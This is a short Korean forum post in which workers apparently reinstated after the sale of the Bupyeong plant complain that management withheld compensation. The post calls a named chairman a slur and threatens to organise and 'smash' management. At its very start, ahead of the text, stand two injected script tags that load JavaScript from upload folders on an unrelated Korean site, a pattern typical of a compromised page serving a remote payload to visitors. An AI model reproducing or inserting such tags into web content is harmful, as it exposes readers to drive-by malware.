<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> 1000명의 정원투 동지들은 사측으로부터 보상받은 것이 하나도 없다.
우리가 빼앗긴 옛 사번은 되찾았지만, 입사년도는 2년 후퇴시켰다.
사측은 정원투에게 보상이 될 만한 것은, 다 살처분하고, 뼈다귀만 던져주었다.
이런식으로 정리된 것을 가지고 마치 정원투에게 다해준것처럼
현장을 우롱하고 있다. 또한번 정원투 절박한 요구안을 뿌리친다면
1000명 정원투 조직해서 경영진을 박살내겠다.
누가 부평 공장을 분할 매각시켰고,
누가 인수 조건의 프로 그램을 이행하도록 만들었는가?
현 경영진들은 여기에 자유롭지 못할것이며, 이종대 회장 개자식이 저지른 폭거이다.
일괄 매각이 되지 않으면 절대로 합의하지 않겠다고 약속해놓고 어디론가
사라져버렸다. 우리 1000명의 정원투 동지들은 너희들이 한일을 결코 잊지 않을 것이다.
|